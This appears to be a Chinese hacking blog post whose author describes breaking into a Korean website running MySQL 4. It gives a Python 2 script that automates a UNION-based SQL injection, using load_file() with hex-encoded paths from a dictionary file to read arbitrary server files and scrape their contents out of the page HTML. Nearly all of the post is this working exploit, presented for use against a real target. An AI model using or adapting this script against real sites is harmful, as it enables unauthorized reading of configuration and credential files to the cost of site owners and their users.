Python in Hacking[LO

2023-01-31 05:01:34 python Hacking LO

Pnig0s p.s: ***一韩国站,遭遇Mysql4,好在有FILE权限只能批量LOAD_FILE路径,为了避免繁重的工作量写了这个脚本,字典文件名为dic.txt路径一行一个,因为环境不同,此脚本并非通用,稍作改动即可。复制代码请务必在普通IE下复制

 

  1. #!/usr/bin/python 
  2. # -*- coding:utf-8 -*- 
  3. ######################################## 
  4. #          Coder:Pnig0s1992 
  5. # A script to auto use the LOAD_FILE()  
  6. #      GTalk:pniGos70@gmail.com  
  7. #Blog:Http://pnig0s1992.blog.51cto.com/ 
  8. # 
  9. ######################################## 
  10. import urllib 
  11. import binascii 
  12. import string 
  13. import os 
  14. def guessPath(): 
  15.     fi = open('dic.txt','r+') 
  16.     while True: 
  17.         path = fi.readline().strip() 
  18.         if path: 
  19.             url = 'http://www.xxx.co.kr/?mode=view&no=\ 
  20.             1151 AnD 1=2 UNIOn SeleCt 1,2,3,4,5,load_file(0x'+binascii.b2a_hex(str(path))+')' 
  21.             EnUrl=urllib.quote_plus(url,safe=':\'/?&=()|') 
  22.             fd = urllib.urlopen(EnUrl) 
  23.             res = fd.read() 
  24.             Begin = res.rfind('<table width="450" border="0" cellspacing="0" cellpadding="0">') 
  25.             End = res.rfind('<table width="486" border="0" cellspacing="0" cellpadding="0">') 
  26.             tempDate = res[Begin:End] 
  27.             realBegin = tempDate.index('<td>')+4 
  28.             realEnd = tempDate.index('</td>') 
  29.             checkEmpty = tempDate[realBegin:realEnd].strip() 
  30.             if checkEmpty: 
  31.                 print path+' is exists!!!!!!!!!!!' 
  32.                 print 'Geting the data......' 
  33.                 print checkEmpty 
  34.                 os.system('pause') 
  35.             else: 
  36.                 print path+' is not exists.' 
  37.                 continue 
  38.         else: 
  39.             print 'All has finished...' 
  40.             break 
  41.  
  42. if __name__ == '__main__': 
  43.     print '__________Written by Pnig0s1992__________' 
  44.     guessPath() 

 

 

 

 

相关文章